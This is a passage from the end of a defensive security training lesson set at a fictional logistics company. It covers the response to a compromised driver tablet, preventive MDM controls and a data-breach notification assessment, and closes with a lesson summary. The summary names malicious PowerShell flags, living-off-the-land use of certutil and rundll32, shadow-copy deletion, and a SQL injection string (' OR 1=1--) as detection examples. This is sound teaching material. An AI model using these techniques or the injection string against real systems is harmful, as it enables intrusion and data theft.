| 08:00 | Determine when the root appeared: if it predates the app installation, the tablet may have arrived compromised from the factory or through an earlier intervention. It changes the scope of the investigation | Diego |
| End of route | Replace the device at the destination warehouse (Sevilla) with an already provisioned spare tablet; the affected one is withdrawn in a sealed bag, switched off, for analysis | Sevilla warehouse |
| +24 h | Force a password change for Rubén from a secure machine; review his account's access to MiRutalia over the last 30 days looking for anomalous access | Laura |
| +48 h | A non-punitive interview with Rubén: what he installed, where from, whether somebody helped him "unlock" the tablet, whether he had problems with the official app that led him to look for alternatives | Traffic manager + Laura |
Two deliberate decisions: the tablet is not wiped immediately (it would destroy the evidence and leave the driver without navigation halfway through a route), and the driver's access is not shut down entirely (access to the data is cut, not the ability to work). Security that stops people operating switches itself off.
d) What would have prevented the situation, in order of effectiveness:
- Dedicated / fully managed device mode: the tablet only runs approved applications.
GPS Pro Freecould not have been installed, not even from the official store. - Blocking installation from unknown sources: it stops the specific route that was used.
- Root detection with automatic access blocking (policy 9 of section 19): even if the root already existed, access to MiRutalia would have been cut automatically on detection, without waiting for the 07:12 alert.
- Conditional access requiring a compliant device: MiRutalia rejects the connection from a non-compliant device, without depending on anybody reacting.
Why they were not active: because the MDM is in phase 4 of the roadmap in section 25, planned for weeks 10-14, and this incident happens earlier. That is the honest answer and the most useful one: the incident does not reveal a design flaw, it reveals a known and planned window of exposure. What does need reviewing is the prioritisation: if the fleet handles customer data, perhaps the MDM should have come before allow-listing. That is exactly the kind of readjustment that feeds the process in 05-04.
e) Yes, it has to be assessed, and the assessment must be documented even if the conclusion is that notification is not required.
Data potentially affected:
| Data | Source | Category |
|---|---|---|
| Names, phone numbers and addresses of the contacts of the customers on his route | Delivery note app | Professional contact personal data |
| Handwritten signatures on the photographed delivery notes | Gallery / app | Biometric data in the broad sense; it raises the sensitivity |
| Rubén's corporate email | Email app | It could contain anything |
| Rubén's credentials | Keystrokes captured through accessibility | Allows later access to MiRutalia |
| The vehicle's location history | GPS | Personal data about the driver |
Elements of the assessment:
- With accessibility granted and root in place, you have to assume the displayed data was accessible. You cannot argue otherwise without evidence.
- The volume is limited: the customers on one weekly route, not all 400.
- The handwritten signature and the driver's own data raise the risk assessment.
- The 72-hour deadline for notifying the AEPD, if it is concluded that there is a risk to the rights of the data subjects, runs from awareness of the breach: from 07:12 on the Saturday, not from the Monday.
The specific decision — whether to notify, and whether to communicate to the data subjects — belongs to the data protection officer, using the criteria in 06-03. What belongs to this lesson is having collected the evidence that allows that decision to be taken with data: the application inventory, the time of installation, the permissions granted and the access log of Rubén's account to MiRutalia. Without MDM, none of that would exist and the assessment would have to be made assuming the worst.
Conclusion
You have opened modern malware up and you no longer see it as "a virus". You see it as a five-stage chain — delivery, execution, download, persistence and objective — where every link admits a different cut, and you know exactly which one failed at each stage of Rutalia's canonical scenario and which control would have prevented it.
You know the execution routes and why the macro in an .xlsm is not a vulnerability but legitimate functionality that only policy can stop. You know where persistence hides on Windows and on Linux, and why a name like OfficeTelemetryAgent is no coincidence. You recognise the five indicators of malicious PowerShell — -NoP, -W Hidden, -Ep Bypass, -E and the very fact that Office launched it — and you know that PowerShell's execution policy was never a security control.
You understand modern evasion and, above all, you understand living-off-the-land: certutil downloading, rundll32 executing, wmic moving laterally, all signed by Microsoft and therefore invisible to a file-based antivirus. Hence the conclusion that organises the whole lesson: defence has to be based on the command line, on the parent-child relationship and on the context, not on the file. And you know why a full disk scan came back clean on day 18 while the attacker was still inside: because fileless malware lives in memory, in the registry and in WMI.
You know what ransomware does before it encrypts — reconnaissance, credential theft, movement, exfiltration, deleting shadow copies, stopping services, disabling defences and spreading — and you have identified the highest-value, lowest-noise detection rule there is: the deletion of volume shadow copies, with automatic isolation, because between that action and the encryption there are usually only minutes.
You have honestly compared the six layers of defence, from signature antivirus to MDR, with real costs, and you know that for Rutalia the jump that matters is not to the most expensive product but from three free antivirus products with no console to a single console with out-of-hours response. You know how an EDR works on the inside — telemetry, correlation, process tree, isolation, rollback — and also its limits: rollback is not a backup, and an EDR nobody watches is money wasted.
You have read a complete malicious process tree node by node, translated it into nine ATT&CK techniques and confirmed that six of the seven controls capable of cutting it did not exist on the day of the attack. And you have the eight preventive controls that are worth more than any antivirus: macro blocking, ASR rules with their audit-mode roll-out, the Mark of the Web and why .iso containers were the fashionable evasion, allow-listing with its traps, disabling WSH and removable device control — which turns out to be a data leakage control against H3 as well.
You have the fleet sorted: ten MDM policies for the 60 tablets in dedicated mode, a work profile for the corporate mobiles, and a clear line between what you can and what you should do in BYOD, where you manage the application and the data, not the device. The Bujaraloz case has taught you that the same lost tablet is either a fifteen-minute piece of admin or a notification to the AEPD, and that the difference is three policies costing €4 a month.
And you have Rutalia's plan: a single console in eight weeks, minimal and documented exclusions because the attacker goes looking for them, six triage questions for the first five minutes, a procedure for analysing suspicious files that looks up the hash and never uploads the file, a read-only persistence hunting script, and a roadmap that puts first the free things that cut the real vector.
The endpoint is no longer open ground. But there remains a door that none of these measures can close, because by definition it has to be open: the one Rutalia exposes to the internet twenty-four hours a day so that 400 corporate customers can look up their shipments. No hardening, no EDR and no allow-list stops somebody typing ' OR 1=1-- into a form, or customer cliente412 changing a number in the address bar and seeing the shipments of 087.
The next lesson, Web Application Security, goes into MiRutalia with the code in front of us: the OWASP Top 10 prioritised for this specific portal, SQL injection in Flask with its line-by-line fix, the IDOR of hypothesis H4 taken apart and repaired, XSS, CSRF, the secrets in config.py, session management, the security headers built on the nginx we have already hardened, rate limiting, what a WAF adds and what it does not, and what an application handling the data of 400 companies must log — and must never log. It is time to open the code.
